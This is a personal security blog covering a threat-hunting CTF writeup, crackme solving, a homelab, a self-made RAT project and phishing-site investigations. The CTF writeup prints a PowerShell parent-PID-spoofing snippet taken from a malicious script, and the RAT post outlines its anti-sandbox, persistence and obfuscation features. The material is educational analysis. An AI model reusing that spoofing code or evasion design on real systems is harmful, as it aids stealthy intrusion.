Question 9. The script, mentioned in question 8, spawned one of the legitimate system processes and injected into its memory a malicious code that was read and decoded from the registry (this code was mentioned in question 7). This malicious code migrated through a chain of code injections to the address space of another legitimate process, where it continued to run without further migration. For this answer, provide the next data, separated by a comma without spaces:

PID of the initial legitimate system process, which was spawned by the script and where this script launched in-memory execution of malicious code;

PID of the target process, to which malicious code migrated from the initial process and in the context of which attacker performed different post-exploitation activity

Out of all the questions in this challenge, this is the question that took me a long time to figure out. The question has a lot of threads of information that it is easy to fall into a trap of chasing a lead that doesn't go anywhere.

When all of my ideas were exhausted, I decided to give in and look for a hint. Thankfully, Vikas from the CyberDefender's Discord group shared one.

Initially the line "if you happen to see the PS script there are mentions of PID spoofing" did not immediately register with me, but after thinking about it some more I realized that it meant that the "PID spoofing" is written inside the script itself! This script is MSO1033.ps1 which was part of the previous questions.

And so I updated my query with the one below:

"MSO1033.ps1" AND event_type:ScriptExecution AND enrich.ioa.max_severity:*

Which showed the following results:

The reason why the following events are interesting is that they contain the script inside the script_text value. Since the script is too long the events are split into 7 events as indicated by the [1 of 7] in the description. I then copied all the script_text entries and placed them into one file so I can easily review the code.

The hint mentioned something about pid spoofing so I searched for the word spoof in the code and found this part right here.

[int]$ppid = Get-Process -Name "winlogon" | Select -expand ID
$spawnTo = "c:\Windows\System32\dwm.exe"
$currdir = "c:\Windows\System32"
$cmdline = "dwm.exe"
$sInfo = New-Object StartupInfo
$sInfoEx = New-Object STARTUPINFOEX
$pInfo = New-Object PROCESS_INFORMATION
$SecAttr = New-Object SECURITY_ATTRIBUTES
$SecAttr.nLength = [System.Runtime.InteropServices.Marshal]::SizeOf($SecAttr)
$sInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($sInfoEx)
$lpSize = [IntPtr]::Zero
$sInfoEx.StartupInfo = $sInfo
$hSpoofParent = [Kernel32]::OpenProcess(0x1fffff, 0, $ppid)
$lpValue = [IntPtr]::Zero
$lpValue = [System.Runtime.InteropServices.Marshal]::AllocHGlobal([IntPtr]::Size)
[System.Runtime.InteropServices.Marshal]::WriteIntPtr($lpValue, $hSpoofParent)
$result1 = [Kernel32]::InitializeProcThreadAttributeList([IntPtr]::Zero, 1, 0, [ref]$lpSize)
$sInfoEx.lpAttributeList = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($lpSize)
$result1 = [Kernel32]::InitializeProcThreadAttributeList($sInfoEx.lpAttributeList, 1, 0, [ref]$lpSize)
$result1 = [Kernel32]::UpdateProcThreadAttribute($sInfoEx.lpAttributeList, 
                                                 0, 
                                                 0x00020000,
                                                 $lpValue, 
                                                 [IntPtr]::Size, 
                                                 [IntPtr]::Zero, 
                                                 [IntPtr]::Zero) 
$result1 = [Kernel32]::CreateProcess($spawnTo, 
                                     $cmdline, 
                                     [ref]$SecAttr, 
                                     [ref]$SecAttr, 
                                     0,
                                     0x08080004,
                                     [IntPtr]::Zero, 
                                     $currdir, 
                                     [ref] $sInfoEx, 
                                     [ref] $pInfo)

Reading the code we could see a couple of interesting things:

A call to CreateProcess function with a reference to $spawnTo
$spawnTo set to c:\Windows\System32\dwm.exe
The line with $hSpoofParent using the variable $ppid
$ppid is set to a process with the name winlogon

My research on the above findings pointed me to the Parent PID Spoofing technique (T1134.004). This is used for evading detection by spoofing the PID to a different process. What is happening, in this case, is that dwm.exe would now appear to be a child process of winlogon.exe instead of the PowerShell script. Brilliant!

Also, not shown in the snippet above, the registry key for AppXs42fd12c3po92dynnq2r142fs12qhvsmvv is also read and decoded. This means that our executable file that contains the rundll32.exe string is also involved in this. Later on, it will be revealed what this is for.

Now that we know what the script does, we can now search for any mention of winlogon.exe and dwm.exe using the query below:

(winlogon.exe OR dwm.exe) AND enrich.ioa.max_severity:* AND event_type:ProcessCreate

This, however, showed more than one result.

Which among these is the PID pair that the challenge author is looking for?

Looking at all the multiple events, it seems that the script has been executed multiple times so it's hard to determine which is the correct event. All of them were executed successfully, but I found that only one of them was able to create the rundll32.exe process.

The process id of the dwm.exe in the screenshot above shows 8876. Using this information, we can go back to the previous query and find exactly which PID pairs that we need to answer the question.

Getting the malicious IP

Question 10. The malicious code run by the script is a Reverse Shell. Identify the IP address and port number of its command center.

Aha! So the malicious code that we inspected before, the one that does process hollowing, is now running inside rundll32.exe and is running as a reverse shell!

I already knew the process ID of our malicious rundll32.exe so we include that in our query:

8344 AND event_type:NetworkConnection

This will reveal an event with the process chain of dwm.exe > rundll32.exe which also establishes a connection to an external IP. This is our answer to this question.

Understanding the sequence of events

For the benefit of everyone (including me), I have outlined the timeline of events below to serve as a reference just in case you get confused and overwhelmed:

Jun 22, 2021 @ 07:25:47.000 - WMI Subscription
Jun 22, 2021 @ 07:41:15.000 - MSO1033.ps1 (7324) was executed
Jun 22, 2021 @ 07:41:55.000 - winlogon.exe (1160) is now the spoofed parent process of dwm.exe (8876) instead of MSO1033.ps1
Jun 22, 2021 @ 07:41:56.000 - dwm.exe (8876) creates the process rundll32.exe (8344), which is hollowed out and now runs as a reverse shell
Jun 22, 2021 @ 07:41:56.000 - rundll32.exe (8344) establishes connection to malicious IP

Hopefully, I was able to make everything clear. Expect the next part of this write-up very soon.

The next couple of questions deals with lateral movement and interactions with the domain controller so it would be very interesting to go through my findings in detail.

Cyber Corp Case 2 Writeup - Part 1

2021-10-30T12:00:00+08:00

This writeup is part one out of multiple parts as I will be detailing my thought process and the steps I took for each question.

Edit: Part 2 and Part 3 is now out.

Understanding WMI Persistence

Question 1. The Threat Hunting process usually starts with the analyst making a hypothesis about a possible compromise vector or techniques used by an attacker. In this scenario, your initial hypothesis is as follows: "The attacker used the WMI subscription mechanism to obtain persistence within the infrastructure". Verify this hypothesis and find the name of the WMI Event Consumer used by the attacker to maintain his foothold.

So the question tells us that the attacker used WMI subscription to gain persistence in our network.

The very first thing I did was to check the Mitre ATT&CK wiki for information about this attack. My search led me to the "Event Triggered Execution: Windows Management Instrumentation Event Subscription" with technique ID T1546.003. And, of course, I fired up my vATT&CK tool to better visualize the technique and its related information.

Testing WMI Persistence in my homelab

Now that I understand the concept I then checked the technique's entry in the Atomic Red Team's repository of adversary emulation techniques. The nice thing about Atomic Red Team is that they have easy-to-follow step-by-step instructions on how to emulate Mitre ATT&CK techniques.

I took the code on the page and ran it in my homelab. I then fired up Windows Event Viewer and looked for entries with event log ID "5681 (WMI activity)". The entry that I found contains the information below:

Namespace = //./root/subscription; Eventfilter = AtomicRedTeam-WMIPersistence-Example (refer to its activate eventid:5859); Consumer = CommandLineEventConsumer="AtomicRedTeam-WMIPersistence-Example"; PossibleCause = Binding EventFilter: 
instance of __EventFilter
{
    CreatorSID = {1, 5, 0, 0, 0, 0, 0, 5, 21, 0, 0, 0, 96, 158, 195, 131, 63, 242, 87, 184, 137, 245, 68, 134, 233, 3, 0, 0};
    EventNamespace = "root\\CimV2";
    Name = "AtomicRedTeam-WMIPersistence-Example";
    Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325";
    QueryLanguage = "WQL";
};
Perm. Consumer: 
instance of CommandLineEventConsumer
{
    CommandLineTemplate = "C:\\Windows\\System32\\notepad.exe";
    CreatorSID = {1, 5, 0, 0, 0, 0, 0, 5, 21, 0, 0, 0, 96, 158, 195, 131, 63, 242, 87, 184, 137, 245, 68, 134, 233, 3, 0, 0};
    Name = "AtomicRedTeam-WMIPersistence-Example";
};

Since I have Sysmon logging enabled, I also double-checked the logs using the Sysmon event IDs below:

Event ID 19: WmiEvent (WmiEventFilter activity detected)
Event ID 20: WmiEvent (WmiEventConsumer activity detected)
Event ID 21: WmiEvent (WmiEventConsumerToFilter activity

As we can see, Sysmon separates the WMIEvents into the different types of WmiEvent activities.

Building the Query for the Kibana search

Now that I know what the important IOCs are, I could now create the query to answer the first question of the challenge.

5861
("QueryLanguage = " AND "Consumer = ")

When the above information is combined, I get the query 5861 OR ("QueryLanguage = " AND "Consumer = "). Putting this in the Kibana search shows us the one and only entry:

From there we could easily see the name of the WMI Event Consumer.

Looking for the WMI subscriber

Question 2. In the previous step, you looked for traces of the attacker's persistence in the compromised system through a WMI subscription mechanism. Now find the process that installed the WMI subscription. Answer the question by specifying the PID of that process and the name of its executable file, separated by a comma without spaces.

Reading the question above, I knew that I needed to look for a process that has happened prior to the WMI subscription. And so, I've set the date range to reflect this.

I wasn't so sure what to look for next so I just looked out for anything suspicious. Thankfully there is the enrich.ioa.* set of fields where enrichment is done that indicate suspiciousness. I've set a filter to show entries that have enrich.ioa.max_severity to exists. This means it'll only show events that are either high, medium, or low.

These showed some very interesting events:

It seems like winword.exe is connecting to an external IP. Very suspicious. Searching the IP 188.135.15.49 on VirusTotal reveals that it is indeed malicious.

If we look at more of the events we will find that there are a lot of malicious activity with the proc_cmdline that contains the value:

"C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE" /n "C:!Work\Marketing\Docs\OPEC\OPEC crude oil production.docx" /o ""

Having seen all of that we can now safely assume that this is the process that we are looking for. Entering the proc_id along with the proc's file name satisfies question number 2.

Looking for the extracted archive

Question 3. The process described in the previous question was used to open a file extracted from the archive that the user received by email. Specify a SHA256 hash of the file extracted and opened from the archive.

The question said something about a file being opened, and so I added the filters event_type: FileOpen and proc_file_path: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE to see what files were opened using Word.exe prior to the WMI subscription. This however showed a lot of files.

The question also mentioned that the opened file was extracted from an archive received by email. So I added the query *zip* OR *rar* to find out if there are any "zip" or "rar" files that were processed.

Sure enough, there was, and one particular really stood out.

Process 'c:\program files (x86)\microsoft office\office16\outlook.exe' created file 'c:\users\john.goldberg\appdata\local\microsoft\windows\inetcache\content.outlook\dfn3sfep\report.zip'

This tells us that the archive report.zip was opened via email using the program outlook.exe.

But what was the generated file when the archive was opened? Looking through the results we could also see one entry that had the enrich.chain with the value of:

'c:\windows\explorer.exe' ➔ 'c:\program files (x86)\microsoft office\office16\winword.exe' ➔ 'c:\users\john.goldberg\appdata\local\temp\temp1_report.zip\market forecast emea.docx'`.

"Market forecaste emea.docx" was opened via "winword.exe" and we could also see that the temporary folder for it is temp1_report.zip. Entering the hash for this "docx" file was the correct answer for this question.

Finding the actual malicious file

Question 4. The file mentioned in question 3, is not malicious in and of itself, but when it is opened, another file is downloaded from the Internet that already contains the malicious code. Answer the question by specifying the address, from which this file was downloaded, and the SHA256 hash of the downloaded file, separated by commas without spaces.

If we think about it, we can make the date range smaller by starting our range from when the Zip is extracted and from when the WMI subscription happened.

There are three "action" keywords specified in the question that I knew I could filter for. This led me to use the query below:

event_type:NetworkConnection OR event_type:FileOpen OR event_type:FileCreate

What I'm looking for is an event where there is a "NetworkConnection" and a "FileCreate" event (these two signify another file is downloaded from the internet), the "FileOpen" is when the file has been opened and therefore triggered the WMI subscription.

As you can see in the image below, we have a series of events that shows us the three events that we are looking for in the previous paragraph. But because their timestamps are the same, they are all jumbled.

The way to see if the events happened in the order that we want (Network Connection > FileCreate > FileOpen), then what we can do is to view the surrounding documents on one of the events and see from there. From the image below, we see that the ordering of the events is indeed correct.

The above tells us two of the answers that we need to answer the 4th question. The IP on the network connection and the hash of the file that was opened.

Finding the tricky technique

Question 5. The malicious code from the file, mentioned in question 4, directly installed a WMI subscription, which we started our hunting with, and also downloaded several files from the Internet to the compromised host. For file downloading, the attacker used a tricky technique that gave him the opportunity to hide the real process, which initiated the corresponding network activity. Specify the SHA256 hash of the operating system component whose functionality was used by the attacker to download files from the Internet.

So the event that the question is looking for happened after the WMI subscription. I've updated the date range to reflect this.

Initially, I tried doing the same approach as I did before where I would pick up certain "action" keywords from the question. Something similar to the query below:

(event_type:NetworkConnection OR event_type:FileCreate) AND enrich.ioa.max_severity:*

Sadly, no matter where I looked it doesn't seem to be what the question is looking for.

And so, I had to start my search from scratch but this time only focusing on any entries after the WMI subscription that have an existing value in enrich.ioa.max_severity. This approach worked and it showed me this very interesting entry marked as win_unusual_ie_com_dll_host_process.

So apparently, "winword.exe" loaded the library "iexproxy.dll", which allowed it to use "iexplore.exe" in downloading several files from the internet. This technique is unfamiliar to me and researching about it only showed an article from Cyber Polygon. I'll try to explore this in the future, but at least for now. I have the answer to the question.

This is part 1 of my write-up for this challenge. Expect the next part which would have the answer to the question that a lot of people have difficulty answering, which is #9. Until then!

Edit: Part 2 and Part 3 is now out.

New Tool Preview: vATT&CK

2021-10-18T20:33:00+08:00

I have released a new cybersecurity-related tool called vATT&CK (Visual ATT&CK). It is a relationship visualizer for the Mitre ATT&CK framework.

What the tool does is that it makes a visual map of the searched technique and all the related information. You can watch a video of the tool in action here.

Each node will be colored depending on it's category. The color legends is as follows:

Pink - Related subtechniques
Orange - Malware that uses the searched technique
Red - Groups that uses the searched technique
Blue - Tools that use the searched technique
Yellow - Mitigations

This tool is still in development. I plan to add a number of improvements such as:

Ability to click on nodes and then update the visual map
Ability to search not just by technique, but also by other categories

I also plan on releasing a live demo of the tool very soon in the hopes of getting feedback from the community.

For now, if you are interested in the project, you could visit the tool's Github project page or contact me for any comments or suggestions.

See vATT&CK in use during the Cyber Corp Case 2 threat hunting walkthrough.

For MITRE's malware-focused companion framework, see the post on the Malware Behavior Catalog (MBC).

IOLI Crackme 0x04

2021-09-29T10:34:00+08:00

I am continuing my reverse engineering review by tackling the IOLI crackmes by @pof. These are beginner friendly challenges that is perfect for newbies or for those who want to review the basics like me. Check out my writeups for 0x00, 0x01, 0x02, and 0x03.

Getting the password

Loading the program in IDA revealed something new. There is now a _check function that when opened looks more complicated than the previous challenges.

The one thing that I immediately noticed is the call to the _strlen function similar to the previous challenge. This means that the length of the input string plays another important role.

One curious thing is the condition that leads to the "Password Incorrect" block, as shown below.

call _strlen
cmp [ebp+var_C], eax
jnb short loc_401387

From the looks of it, the check will fail if var_C (Which is our var_counter from the previous challenge) reaches the length of the entered string. If you think about it, this means that it doesn't matter how long the string that the user inputs. What's important is the content.

To find out what the correct content the program expects, we need to look at the other block of code.

The code uses the same approach as the previous challenge where var_counter is used to loop through individual characters in the input string.

The part that is new is the use of the _sscanf function which is defined as:

"sscanf reads data from s and stores them according to parameter format into the locations given by the additional arguments, as if scanf was used, but reading from s instead of the standard input (stdin)."

Looking at how the function _sscanf is used, it gets each character in the input string and converts them to decimal integers. This means that the password can only contain the numbers 0 through 9. The reason for this is because the result is added to another value at the line add [eax], edx.

This "other value" is the converted integer value from previous loops. This means that the algorithm adds each number from the input string after every loop. For example, an input string of 123 translates to 1+2+3 where the computed sum is saved to var_8.

Finally, there is the line cmp [ebp+var_8], 0Fh, which tells us that the program expects the computed sum to be equal to 0Fh or 15. So as long as we enter numbers that would equal to 15 when combined, then we are good.

Patching the executables

Patching the executable is different this time around. If on previous challenges we patched the program by changing an conditional opcode to a jmp (74 to EB), for this one we only need to change the conditional to a no op instruction (00).

As you can see, the line cmp [ebp+var_8] and the conditional branch disappears allowing us to go directly to the "Password OK" part of the code.

On to the next challenge...

I liked this challenge mostly because it changed the passwords the program expects. The first time I tackled this challenge I used purely static analysis. I thought I got the answer only to realize that I was wrong by debugging the code. We have 5 more challenges to go!

Building my Virtual Cybersecurity Home Lab

2021-09-05T20:33:00+08:00

I have recently realized that one part of cybersecurity that I am lacking basic knowledge on is networking. I honestly did not think it was important when I was starting. It was the reason why I skipped Network+ so I could take Security+ directly.

Now I know better.

Ever since my realization, I have taken steps to patch the holes in my knowledge. I've started taking courses and bought books. But one thing that has made the most impact is me building my very own "homelab".

I first came to know of the concept of homelabs from Reddit. To those unfamiliar, it is the practice of building a networked environment to gain practical knowledge in networking and IT. One way to do this is by making a virtual network.

And so, over the past month, I have been building my very own virtual homelab with a focus on integrating cybersecurity products.

The Lab

The network diagram below shows the current implementation of my lab. I will be discussing each part to give an idea of their purpose (Click here for a bigger version).

At the heart of the network is a firewall running pfSense. Its purpose is to ensure that each sub-network is separated and protected, and also to protect my virtual host from any malware outbreaks. This machine also serves as a DHCP and NTP server to all the machines in the network.

The Target Network

On the right side of the diagram is the "Target" network where workstations and vulnerable servers reside. These are the machines that I use to attack with exploits and malware.

I have Metasploitable 2 and Metasploitable 3 machines that have various services turned on to play around with. I can learn about specific attacks by exploiting this machine, but I can also don my defenders hat and learn about how to secure them.

The Windows and Linux machines will serve as typical workstations for various experiments.

One of the perks of my job is that I get to play with different cybersecurity solutions. I currently have access to a few that I am able to use on my lab for testing.

One solution that I am using right now is an EDR (Endpoint Detection and Response) (Sorry, I can't reveal which). Each machine has an EDR agent deployed which monitors for any malicious activities on the host. It has an anti-virus feature, anti-ransomware, and fileless attack monitoring. It's awesome stuff but I have yet to maximize this.

An IDS (intrusion Detection System) running Snort monitors the traffic for any malicious activity. Signatures are constantly updated to ensure that I can detect the latest types of attack. If it finds anything important, it then sends an alert to a SIEM (running Splunk) on the Management network.

The Management Network

On the left side of the diagram is the Managemnet network. This is where the management part of the EDR, IDS, and the SIEM can be accessed from my virtual host.

There's nothing special about this network, I do want to note though that I find it interesting the Snort IDS has two interfaces. One is used for access to the management page, and the other is for sniffing traffic on the Attacker network.

The Operations Network

At the bottom side of the diagram is the "Operations" network.

A machine running Kali is placed here. I can launch attacks from this machine towards the vulnerable machines on the Target network. This machine also has OpenVAS scanner that helps in discovering vulnerabilities on the target machines.

A windows machine serves as my malware analysis lab. It contains a lot of malware analysis tools to aid with investigations.

This machine is then connected to a Remnux Linux machine. All traffic from the Windows machine is port forwarded by Remnux. From here I can run Wireshark to inspect the traffic coming from the Windows malware lab and it can also spoof the network responses to influence the behavior of malware. If the Remnux machine is turned off, then the Windows machine is effectively cut off from the whole network. It's a really neat setup that I learned here.

The Present

While the main intent of the network is to learn networking and implementing cybersecurity products, I can also investigate malware and learn about exploits by launching attacks. So it has a lot of multiple uses, which is perfect for someone like me who gets interested in different aspects of cybersecurity.

My host machine currently has 32GB, 8 cores, and a total of 1.75TB which may seem a lot but is not powerful enough for all the machines to run at the same time. As a workaround, I just open the machines that I need for a particular exercise.

For example, if I want to investigate malware then I only need the firewall, Remnux, and the windows malware lab open. But if I want to attack and run an exploit, while making sure that it gets detected, then I need the firewall, EDR, IPS, SIEM, Kali, and the target machine to be open at the same time. This easily consumes around 20GB+!

The Future

Working on this homelab has taught me a lot of practical knowledge. It helped solidify a lot of networking concepts I've learned througout the years.

I'm not stopping here though. I also plan to upgrade the Target network so it would better resemble an enterprise network. For example, setting up an active directory, an internal DNS server, and maybe even a mail server (why not?). This is so I could play around in detecting and remediating more varied enterprise-level scenarios.

I am also hoping I could get access to more cybersecurity products so I could play around with them. A SOAR (Security Orchestration and Response) would be a nice addition that would work really well.

But, of course, before I could do any of the above I first need to upgrade my RAM and add more cores!

One example of what I test in this lab: Making a RAT, a remote access tool with anti-sandbox checks, built for educational purposes.

A useful tool for the malware analysis portion of this lab: shcode2exe, which compiles shellcode into debuggable Windows executables without requiring Wine.

Making a RAT

2021-07-13T14:56:00+08:00

A Remote Access Tool (RAT) is used to remotely access a computer. It has legitimate uses but it can also be used for malicious purposes. I've seen it used in malware I've analyzed and I've always been curious as to how it works.

I was following along the Handmade Hero project ¹ when the topic about dynamic DLL loading came up. This is a process of dynamically loading a DLL at runtime which is useful if you want your program to check if a DLL is present in a system before loading it.

Two of the system calls that were discussed were LoadLibrary and GetProcAddress. These were familiar to me as I've seen them used on malware shellcode I analyzed in the past. I later learned that this is also used as an anti-virus evasion technique. I found this interesting.

Having learned how to do runtime DLL loading myself I decided to give it a try. And of course, a RAT is perfect for this.

Planning the RATchitecture

A lot of famous RATs are packed with features like the ability to log keystrokes, take screenshots, and turn on a webcam. I just want mine to be simple and have basic functionality like:

Execute command line commands remotely
Download a file to the client
Exfiltrate data via file upload

You can already do a lot of things even with the above basic functions. You can download a payload to the client, run it via remote command and then upload the results. You can even update the RAT itself using the same process!

As an extra, I also wanted it to be stealthy. I am aware however that this is something that is not easily done. There are myriads of security defenses and I don't think I have the time and energy to have my RAT to be up-to-date with the latest evasion techniques. Having basic anti-debugging and anti-sandbox checks is enough for me.

I've never made a RAT before but thankfully there are a lot of great resources online that helped me a lot:

ParadoxiaRat is my main resource and has done a lot of the features I wanted to implement.
DarkRAT is a leaked source code that gave me an idea of how a RAT used in the wild looks like
VXUnderground's WinAPI tricks taught me that there are alternative ways to do certain things to avoid detection

As for the name of the project, I decided on "RATwurst" after the german sausage, Bratwurst. Don't ask me why. I just thought it's funny that it had the letters RAT in it.

The nitty gRATty details

The client is written in ANSI C because it's the language I prefer. Since I am only targeting Windows I chose MSVC for the compiler. Which is great because it allows me to use Visual Studio for debugging.

The server, on the other hand, is written in Python because I wanted another excuse to practice with it. Choosing Python has been a good choice though because of the excellent low level socket and cmd libraries.

Sockets are used for communication between client and server. I've applied basic XOR obfuscation to the data to mask the traffic. The client and server can handle sending of strings and even executables over the network.

When RATwurst is first executed. It does some anti-sandbox checks via process enumeration. It checks if there are more than 15 processe that are running and if there are virtualization tools present like vmware.exe. It will also setup an auto-run registry entry for persistence. And also move the executable to Windows' temp folder and re-run it from there.

Anti-debbuging checks are littered throughout the code which checks the amount of time it takes to reach from one part of the code to the next. This is used to detect if someone is stepping through the code, increasing the delay between code execution.

When no shenanigans is detected then it'll proceed to work as intended.

For eduRATional purposes only

I've made the source of my project available on Github. The aim is to share what I've learned so that others can learn too.

I am aware of news of RAT authors having been arrested because of their work. They actively sought to gain money from their creation, I, of course, have no such plans.

To make sure that I save myself from any legal problems, I've placed a disclaimer that I am not responsible for any misuse. While I am skeptical that a piece of text would prevent any legal action towards me, I do see other projects having their own disclaimers so I decided to do the same.

I've also submitted my creation to a multi-scanner service like VirusTotal. This would help distribute my RATs signature to anti-virus companies so it can easily be detected when used in the wild.²

A RATisfying learning experience

Making this project has been a lot of fun.

The most useful thing that I learned is the client and server communication via sockets. I've dabbled with it before but only in this project have I actually sent actual data back and forth.

I am also happy that I got to use more Windows APIs. It's fun to play around with what's available and it is opening my mind as to what other things I can make in the future.

And of course, this project has given me a good insight into the techniques used by malware. Learning about them is not enough until you've built one yourself.

I later did a deep dive on the string obfuscation technique used here: String AV Evasion in x64 Assembly.

For a safe environment to test projects like this, see how I built my virtual cybersecurity home lab.

Handmade here is a project by Casey Muratori where a game is created from scratch live on stream, has been going on for 6+ years, it's awesome ↩
Multi-scanners help to easily distribute virus signatures to security services. An opposite to this are "no-distribute" sacnners. More info about this here. ↩

Finding phished passwords on a scam site

2021-05-01T20:56:00+08:00

Since my last post about my investigations of a Facebook phishing site, I have received several messages from friends asking me to check out other suspected phishing/scam sites. One of the most alarming out of them was this one where I was able to find the file where the scammer stores the phished usernames and passwords.

This particular phishing site conducts its operations like this:

An ad is shown on Facebook, promising free coupons for famous fast food restaurants
Clicking on the ad takes the user to a fake Facebook login page hosted on blogger.com
Login page then sends phished username and passwords to a PHP file hosted on 000webhost

The phished passwords are then stored in a .txt file (blatantly named, victims.txt), which is publicly accessible on an open directory. Getting to this directory involved following the scripts and the URLs used by the scammers. It's not that hard to find as long as you know where to look.

What's scary is that the size of this text file kept on getting bigger. I knew I had to act quickly.

Stopping the scammers

Unfortunately, with phishing sites like these, there's not much we could do but report it to the relevant hosting providers. The problem is that sometimes it may take some time before the site gets reviewed, which is excruciating because the longer the wait, the more people fall victim. Some might even just ignore your report altogether!

I reported the fake login page to Blogger.com and did not receive any response at all. I understand that Blogger.com is a big platform and I bet they receive numerous reports like this. I guess this is why the scammer used this platform as they know they won't be taken down too quickly. Their profile even listed two sites that both had fake login pages.

Thankfully, 000webhost got back to me and eventually took down the page that hosted the PHP and text files.

You'd think that this is a victory. But sadly, setting up a new phishing site is rather easy so within a few hours there is already a new one. Of course, I reported this new site too. Only for a new one to pop up later...

You can see how this can become an endless cat and mouse game.

Stopping from other sources

One way that could be effective to stop the scammer's operations is by reporting the Facebook advertisement that is used to lure users to the phishing site. Unfortunately, my friend who shared this with me did not get a chance to snap a screenshot of the ad. If he did then it would probably have more impact on stopping their operations. Maybe the Facebook abuse team can trace the payment details used to pay for the ad, and maybe block it.

If you know anyone who may have seen a Facebook advertisement that offers free coupon codes for fast food restaurants that might be pointing to a suspicious login page, then please do contact me!

Awareness is the key

As of this posting, the landing page is still up while the page that hosts the PHP and victims file is down. I'm sure it'll be back up soon. All I was able to do was delay their operations. A minor inconvenience for them.

This is why out of everything, spreading awareness is the best countermeasure. If people are more aware of phishing sites and how to avoid them then that would greatly diminish their impact. This is why I continue to post and write about phishing sites. Seeing the number of victims rising like that made me act knowing that I at least have the power to prevent things from escalating.

And you have the power too, dear reader. Educate your family and friends by warning them or by showing them my posts. Remember, awareness is our best defense!

Emprisa Maldoc Writeup

2021-04-30T05:58:00+08:00

This is a writeup for Emprisa maldoc challenge that I made for CyberDefenders.org. You can play it here.

The very first thing that I do when confronted with a malicious document is to run it in a malware lab. This particular document, however, would not exhibit anything malicious on recent versions of Word.

A quick search of the hash on malware sandboxes would reveal that the document makes use of the CVE-2017-18822 vulnerability. This is a vulnerability that became known and was promptly patched around November of 2017.

The above details give us a hint on how to trigger the document, which is to run the maldoc on a version of Microsoft Word that doesn't have the patches that fix the vulnerability. The easiest way to do this is to boot up a new VM with a fresh install of Windows 7 and with updates disabled.

This new environment is where the document would trigger once double-clicked. After a bit of loading, a pop-up would later appear greeting the analyst with congratulations (this is a stand-in for a malicious payload for this challenge), but of course, it is clear that we are not done yet.

Tools such as Process Hacker will reveal a new process named EQNEDT32.EXE getting spawned right after opening the document. Those who have read through the CVE details would know that this is the expected behavior, as the vulnerability uses this process to run malicious code. In this case, the exploit downloads a file from the internet and automatically runs it.

Another tool such as Regshot would reveal newly created files. It can determine these by taking a snapshot before the malicious document is opened, then taking another one after the downloaded payload gets triggered, and finally comparing the two snapshots and listing the differences. It's an invaluable tool to have.

Running rtfdump.py would then reveal some telling details about our maldoc, like for example, magic signatures and object streams.

Upon close inspection of the hexdump of the largest object stream (still via rtfdump), one would see a sequence of NOPs (aka a NOPsled) in certain parts. A NOPsled such as this usually indicates the possible start of shellcode. Carving this part of the shellcode and running it on an emulator such as speakeasy or scdbg won't work properly, however.

The output shows the first line to be LoadLibrary, and then there's an error after that. This indicates that maybe there's a problem with the shellcode.

On further inspection, a little more further down there is another set of seemingly readable strings. This could indicate another shellcode. Or, maybe, a continuation of the first one? In between these supposed two shellcodes is a readable string that seems out of place in between the gibberish. Carving the two shellcodes and then combining them would now work when run on an emulator.

If the previous solution was not immediately clear to you then there is another approach to the above. And that is to step through the EQNEDT32 process as soon as it runs. However, attaching to this process is tricky as it triggers only for a split second and then exits. To debug this, a debugger should be automatically connected as soon as the process starts. Check out this post for details on how to do this.

Once attached, the painstaking process of debugging begins. Thankfully, we have an idea of what code is being loaded into memory. And this is the shellcode that has a NOPSled during our analysis with rtfdump.py above. Looking for this sequence and then putting a breakpoint where the memory location is accessed would stop the program just before the shellcode is run. Once the breakpoint triggered, we could step through the shellcode and find out what exactly the shellcode does and which Libraries are being called.

From here, we could also backtrack from where the shellcode is called to figure out how the exploit is triggered via a buffer overflow. This requires a bit of knowledge in reverse engineering. An alternative is to check out the CVE details in search for the tool that was likely used to make the exploit, and then examining the code.

After all of that, you should have everything that you need to answer all the questions in the challenge. You may have noticed that I have not revealed the answers outright. You still have to find it on your own. However, I do hope that by walking you through the process, I have helped you understand how to get there.

If you have more questions, or want to tell me what you think of the challenge, feel free to leave a comment below or send me a mesage at @accidentalrebel.

For another maldoc challenge walkthrough, check out Maldoc101, which inspired me to create the Emprisa challenge.

Investigating an FB phishing site

2021-04-24T05:58:00+08:00

Last April 21, people were posting warnings about a suspicious Facebook post where your account will supposedly get hacked when you click it. From the discussions, I gathered that it is a classic phishing site scam. A very effective one too, because as soon as an account gets compromised the attacker logs in and tags the friends in the account allowing it to spread further. The news of this got big that even the PH CERT issued a security advisory on it.

I was just curious, I swear!

I wanted to see the phishing site for myself but I was unlucky and did not get tagged by anyone. So I reached out to people who did and I eventually got to this page shown below:

To a trained eye, one could easily see the obvious red flags. But how can one notice them if there is a very attention-catching image in the middle beckoning to be clicked? It's a very simple tactic yet very effective. Clicking this link leads to an external website with an even more tantalizing image masquerading as a video.

Clicking play on that video would then lead to a fake Facebook login page. We all know what's next after that.

Of course, the very best course of action when a phishing site is discovered is to report it. I, however, was curious so I decided to poke around first.

The poking begins

Using my knowledge in OSINT (Open Source Intelligence) and pentesting, I poked around to see what I could learn from these set of pages.

One thing that immediately became obvious was that these "set of pages" were hosted on separate domains. The page with the video points to one domain, and the login page to another (that is even protected by DDNS (Dynamic DNS) via No-IP).

I also noticed that the way that the two pages were built was different. The coding style is not the same, different frameworks were used, plus the robots.txt of the login page was more restrictive.

Why are they in separate domains? Wouldn't it be cheaper to just have both pages on the same domain?

My hunch is that maybe the two sites were made by different people. One guy made the landing page then a different one made the login page. Or maybe the login page is an out-of-the-box solution you pay for or rent if you want to set up your own phishing scam? A PhAAS (Phishing-as-a-Service)?

During my reconnaissance, I also noticed that the URLs for the login page were changed a few times over a few hours. It's possible that the pages were being taken down thanks to the reports and the malicious actors were just making new instances and redirecting to it to make sure that the operation continues.

Đăng nhập hoặc đăng

Another thing I noticed is references to various Vietnamese terms and websites. Both pages have directories using the word "homnay", Vietnamese for the word "today". The source code also has a link to the news website "tuoitre.vn".

The Google Analytics ID used can also be found in previously tagged but now-defunct Phishing websites with references to Vietnam. It's entirely possible that these phishing sites initially targeted Vietnamese users but eventually got to Philippine users via the tagging spreading mechanism.

Or maybe it's a deliberate ploy to make it seem that the origin of the phish is Vietnamese. Just to throw off those of us snooping around.

And then it was gone

